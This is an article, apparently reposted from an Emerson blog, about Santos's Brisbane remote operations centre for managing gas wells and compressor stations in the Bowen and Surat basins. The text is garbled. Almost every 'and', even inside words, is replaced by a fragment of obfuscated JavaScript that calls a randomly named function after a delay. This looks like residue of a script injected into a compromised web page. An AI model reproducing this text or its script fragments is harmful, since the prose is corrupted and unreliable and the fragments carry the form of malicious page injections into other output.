Santos integrates intelligent field with transformative operations centre

Remote Operations Centre Is Changing How Gas Fields Are Operated

Stepchange Global are delighted to have been working with Santos on their new operations centre.

Control rooms are adding a few new tasks to their job descriptions.  While they’ll always be responsible for process control andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and process safety, they’re now evolving into integrated operations centres, which are also responsible for making the right business decisions, too. However, to run efficient andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and profitable applications, these centres need data from equally intelligent fields of sensors, instruments, remote terminal units (RTUs) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and networking devices.

Both integrated control operations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the intelligent fields are transforming the jobs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the very nature of field devices andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what it means to be a control room.

For instance, Santos Ltd. has been supplying natural gas in eastern Australia for 50 years, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and one of its primary applications includes about 10 compressor stations, more than 1,000 wells,  andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and regional control hubs producing coal-seam natural gas in a area covering several hundred square kilometers (km), which is located up to 1,000 km west of Brisbane. Obviously, managing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and coordinating the operations of all these far-flung wells andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and facilities is a complex andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and usually time-consuming job.

“We have many residential communities in our area, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so we must engage andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and negotiate with them. Then, our coal seam gas is low pressure, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so we need to bring more equipment into the field to secure it,” said Patrick Gorey, controls advisor for engineering andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and reliability at Santos. “We needed a more efficient way to run our plants, monitor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and control the fields, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and integrate operations. Supporting numerous staff in the field was becoming cost prohibitive, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so we also needed to provide real-time data to our maintenance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and operations personnel to allow them to optimize performance of the wells, well-pads andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fields.”

To achieve its vision, Santos began developing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and designing its Brisbane Primary Control Center (PCC) in 2010, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and just finished building it about one year ago. The PCC is part of Santos’ overall Brisbane Operations Center (BOC), andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and its upgrade will help supply the Gladstone Liquid Natural Gas (GLNG) project, which is a joint venture between Santos andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and three of the world’s largest energy companies, including Petronas, Total andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Kogas. GLNG is expected to increase the number of Santos’ wells in the region west of Brisbane to about 6,000 over the life of project.

“We’re implementing our new hubs this year, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will begin increasing LNG production next year,” said Gorey.

Gorey andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Mike Ilgen, business development andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and industry marketing director for Emerson Process Management, Asia Pacific, presented “Santos Brisbane Primary Control Center—A Collaborative Environment for the Intelligent Field” on the second day of Emerson Global Users Exchange 2013 on Oct. 1 at the Gaylord Hotel andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Convention Center in Grapevine, Texas, near Dallas. Also, a YouTube video of Santos’ project is at http://bit.ly/1c1QSmm

Ilgen added that integrated operations centers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and intelligent field applications are transforming the oil andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gas andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other process industries. “Most international oil companies (IOCs) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and national oil companies (NOCs) have some form of these new centers, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and research indicates that intelligent operations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and smart fields can improve overall gas recovery by 5% andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and overall oil recovery by 10%, which can mean billions of dollars in added revenue,” said Ilgen. “However, all these integrated operations (iOps) centers are based on more andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and better data from their intelligent fields andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the pervasive sensors located downhole andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and at the wellheads, compressor stations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other facilities. This data can then go anywhere in the world, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is then treated andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and analyzed by intelligent applications to improve decision making andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and operations. And, the faster this whole data-to-decision loop can go, the better companies can run their businesses.”

Ilgen added that intelligent field andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and integrated operations eventually ties together entire production andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and business operations as they’ve never been melded before, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and serves to meld operations, maintenance, collaborative areas, multi-disciplinary teams, production planning andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and scheduling, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enterprise functions.

For Santos’ natural gas extraction andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and processing operations, the “gas field of the future” means no longer driving or flying by helicopter to remote wells, which is costly andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and can pose added safety risks. Now, Santos’ operators andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and engineers are implementing predictive diagnostics, including using wireless RTUs to conduct remote well tests from their PCC andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and DeltaV system in Brisbane. Likewise, some maintenance tasks used to require three or four days worth of travel andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and permitting to perform a three-hour job, but now they only need one hour of remote travel, plus the three hours to the job.

Gorey explained that its new PCC design was based on a predicted organization model for 2013, which consists of:
•    Three stations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spare capacity;
•    Four asset-based collaborative environment (CE) joint workspaces with support for one field location;
•    Two discipline-based CEs for wells, maintenance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and projects;
•    Two “war rooms” with video conferencing to support event-based issues; andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and
•    Hub-based CEs for field team use; andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and
•    One field office in the town of Roma.

To design andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and build their new PCC, Gorey added that Santos team held meetings with relevant teams, including engineering andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and technical support, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and field-based team representatives. Next, they met with their design teams, including local architects, services consultants andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and construction team. Together, they all generated andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and optimized a floor-plan layout, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and created detailed scope andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and costs for it. Emerson serves as the main automation contractor (MAC) for the GLNG, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and helps collect andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and deliver its real-time information. Lastly, the new PCC was built, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s been up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and running for about 12 months.

“We also hired a change-management company, Step Change Global, to help us look at what were doing now, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how we wanted to do it in the future,” explained Gorey. “We all assessed our opportunities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and challenges, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and obtained a good understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding of the operation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what we were trying to achieve. We couldn’t just set up new screens andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fancy tools. We had to evaluate our specific business goals, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and use them to help define our control center goals. This meant asking basic questions like, ‘If we need an important KPI, are the operators able to see it?’ Equipment makes gas, but people are essential to make sure its runs properly andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and efficiently. So, what we’re really doing is driving behaviors to achieve our goals.”

Gorey added that the new PCC has:

  • Fundamentally changed the way that Santos operates its gas fields in the Bowen andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Surat basins;
  • Integrated its planning, scheduling, operations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and maintenance;
  • Improved its ability to monitor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and control all its upstream facilities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and collaborate with teams in the field to improve operations;
  • Improved compliance with its planning andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and production;
  • Reduced personnel in the field andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and trips to the field by more than 50%; andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and
  • Already achieved payback in less than one year.

“We have developed a world-class remote operation centre,” Gorey stated. “The centre has changed the way our gas fields in the Bowen andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Surat Basins are operated. Emerson’s team brought the process automation expertise we needed to meet global standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andards, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their solutions have equipped us with the ability to centrally monitor the production andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and progress of our intelligent assets up to 1,000 kilometres apart.”

this article was published by Emerson Exchange: http://community.emerson.com/process/emerson-exchange/b/weblog/archive/2013/10/01/santos-integrates-intelligent-field-with-transformative-operations-center.aspx?WT.i_asset_id=ExchangeDailyTues&WT.mc_id=1401

 

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